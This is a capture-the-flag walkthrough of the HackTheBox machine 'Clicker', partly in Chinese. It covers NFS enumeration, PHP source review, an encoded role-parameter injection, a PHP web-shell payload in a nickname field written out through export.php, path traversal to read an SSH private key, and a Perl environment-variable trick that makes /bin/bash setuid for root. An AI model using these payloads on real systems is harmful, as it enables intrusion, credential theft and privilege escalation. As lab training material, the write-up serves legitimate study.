Recon
> echo 10.10.11.232 > ip
> rustscan -b 4500 -a './ip' --ulimit 5000 -- -A -sC -Pn
Open 10.10.11.232:22
Open 10.10.11.232:80
Open 10.10.11.232:111
Open 10.10.11.232:2049
Open 10.10.11.232:37459
Open 10.10.11.232:37827
Open 10.10.11.232:40781
Open 10.10.11.232:59915
Open 10.10.11.232:60457
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 89d7393458a0eaa1dbc13d14ec5d5a92 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBO8nDXVOrF/vxCNHYMVULY8wShEwVH5Hy3Bs9s9o/WCwsV52AV5K8pMvcQ9E7JzxrXkUOgIV4I+8hI0iNLGXTVY=
| 256 b4da8daf659cbbf071d51350edd81130 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAjDCjag/Rh72Z4zXCLADSXbGjSPTH8LtkbgATATvbzv
80/tcp open http syn-ack Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Clicker - The Game
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
111/tcp open rpcbind syn-ack 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 35547/udp6 mountd
| 100005 1,2,3 42486/udp mountd
| 100005 1,2,3 55195/tcp6 mountd
| 100005 1,2,3 60457/tcp mountd
| 100021 1,3,4 35753/udp6 nlockmgr
| 100021 1,3,4 37827/tcp nlockmgr
| 100021 1,3,4 41853/tcp6 nlockmgr
| 100021 1,3,4 49691/udp nlockmgr
| 100024 1 42143/tcp6 status
| 100024 1 50743/udp6 status
| 100024 1 55162/udp status
| 100024 1 59915/tcp status
| 100227 3 2049/tcp nfs_acl
|_ 100227 3 2049/tcp6 nfs_acl
2049/tcp open nfs_acl syn-ack 3 (RPC #100227)
37459/tcp open mountd syn-ack 1-3 (RPC #100005)
37827/tcp open nlockmgr syn-ack 1-4 (RPC #100021)
40781/tcp open mountd syn-ack 1-3 (RPC #100005)
59915/tcp open status syn-ack 1 (RPC #100024)
60457/tcp open mountd syn-ack 1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Port 2049
┌──(kali㉿kali)-[~/WorkSpace/Hackthebox/Clicker]
└─$ cd /mnt
┌──(kali㉿kali)-[/mnt]
└─$ sudo mkdir backups
┌──(kali㉿kali)-[/mnt]
└─$ sudo mount -t nfs 10.10.11.232:/mnt/backups /mnt/backups -o nolock
┌──(kali㉿kali)-[/mnt]
└─$ ls backups
clicker.htb_backup.zip
┌──(kali㉿kali)-[/mnt]
└─$ cp /mnt/backups/clicker.htb_backup.zip ~/WorkSpace/Hackthebox/Clicker
代码审计
功能点
- 登录
- 注册
- 保存游戏数据
![[Pasted image 20230924183752.png]]
其中在 save_game 中会从 GET 请求中获取参数
save_game.php
<?php
session_start();
include_once("db_utils.php");
if (isset($_SESSION['PLAYER']) && $_SESSION['PLAYER'] != "") {
$args = [];
foreach($_GET as $key=>$value) {
if (strtolower($key) === 'role') {
// prevent malicious users to modify role
header('Location: /index.php?err=Malicious activity detected!');
die;
}
$args[$key] = $value;
}
save_profile($_SESSION['PLAYER'], $_GET);
// update session info
$_SESSION['CLICKS'] = $_GET['clicks'];
$_SESSION['LEVEL'] = $_GET['level'];
header('Location: /index.php?msg=Game has been saved!');
}
?>
Arbitrary file write
post extension
export.php
<?php
session_start();
include_once("db_utils.php");
if ($_SESSION["ROLE"] != "Admin") {
header('Location: /index.php');
die;
}
function random_string($length) {
$key = '';
$keys = array_merge(range(0, 9), range('a', 'z'));
for ($i = 0; $i < $length; $i++) {
$key .= $keys[array_rand($keys)];
}
return $key;
}
$threshold = 1000000;
if (isset($_POST["threshold"]) && is_numeric($_POST["threshold"])) {
$threshold = $_POST["threshold"];
}
$data = get_top_players($threshold);
$currentplayer = get_current_player($_SESSION["PLAYER"]);
$s = "";
if ($_POST["extension"] == "txt") {
$s .= "Nickname: ". $currentplayer["nickname"] . " Clicks: " . $currentplayer["clicks"] . " Level: " . $currentplayer["level"] . "\n";
foreach ($data as $player) {
$s .= "Nickname: ". $player["nickname"] . " Clicks: " . $player["clicks"] . " Level: " . $player["level"] . "\n";
}
} elseif ($_POST["extension"] == "json") {
$s .= json_encode($currentplayer);
$s .= json_encode($data);
} else {
$s .= '<table>';
$s .= '<thead>';
$s .= ' <tr>';
$s .= ' <th scope="col">Nickname</th>';
$s .= ' <th scope="col">Clicks</th>';
$s .= ' <th scope="col">Level</th>';
$s .= ' </tr>';
$s .= '</thead>';
$s .= '<tbody>';
$s .= ' <tr>';
$s .= ' <th scope="row">' . $currentplayer["nickname"] . '</th>';
$s .= ' <td>' . $currentplayer["clicks"] . '</td>';
$s .= ' <td>' . $currentplayer["level"] . '</td>';
$s .= ' </tr>';
foreach ($data as $player) {
$s .= ' <tr>';
$s .= ' <th scope="row">' . $player["nickname"] . '</th>';
$s .= ' <td>' . $player["clicks"] . '</td>';
$s .= ' <td>' . $player["level"] . '</td>';
$s .= ' </tr>';
}
$s .= '</tbody>';
$s .= '</table>';
}
$filename = "exports/top_players_" . random_string(8) . "." . $_POST["extension"];
file_put_contents($filename, $s);
header('Location: /admin.php?msg=Data has been saved in ' . $filename);
?>
63 -> $filename = "exports/top_players_" . random_string(8) . "." . $_POST["extension"];
Auth bypass with PHP type Juggling - CYBERNETGEN
clicks=1&level=1&%72%6f%6c%65%3d%22%41%64%6d%69%6e%22%23
nickname=%22%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%24%5f%52%45%51%55%45%53%54%5b%30%5d%29%3b%3f%3e%22%23
export.php
POST extension=php
execute_query
当选择非 1,2,3,4 时候,dest 可控,接着将 /home/jack/queries/
路径与 dest 拼接赋值为 name,access 判断是否可读,可以读就会与name 拼接 /usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v < 可控处
![[Pasted image 20230924200959.png]]
执行命令
www-data@clicker:/opt/manage$ ./execute_query 5 ../.ssh/id_rsa
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
-----BEGIN OPENSSH PRIVATE KEY---
...[snip]...
-----END OPENSSH PRIVATE KEY---
--------------
ERROR 1064 (42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-----BEGIN OPENSSH PRIVATE KEY---
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAA' at line 1
id_rsa 中需要注意格式,补全 --
ROOT
jack@clicker:~$ sudo -l
Matching Defaults entries for jack on clicker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jack may run the following commands on clicker:
(ALL : ALL) ALL
(root) SETENV: NOPASSWD: /opt/monitor.sh
#!/bin/bash
if [ "$EUID" -ne 0 ]
then echo "Error, please run as root"
exit
fi
set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;
data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
exit;
else
timestamp=$(/usr/bin/date +%s)
/usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
fi
Hacking with Environment Variables
执行,此时 /bin/bash 已经拥有 s 权限位
jack@clicker:~$ sudo PERL5OPT=-d PERL5DB='system("chmod u+s /bin/bash");' /opt/monitor.sh
No DB::DB routine defined at /usr/bin/xml_pp line 9.
No DB::DB routine defined at /usr/lib/x86_64-linux-gnu/perl-base/File/Temp.pm line 870.
END failed--call queue aborted.
jack@clicker:~$ ls -al /bin/bash
-rwsr-xr-x 1 root root 1396520 Jan 6 2022 /bin/bash
切换至 ROOT
jack@clicker:~$ /bin/bash -p
bash-5.1# cat /root/r*
3f58c6611dbc02dad2da3d5e0f77d7e6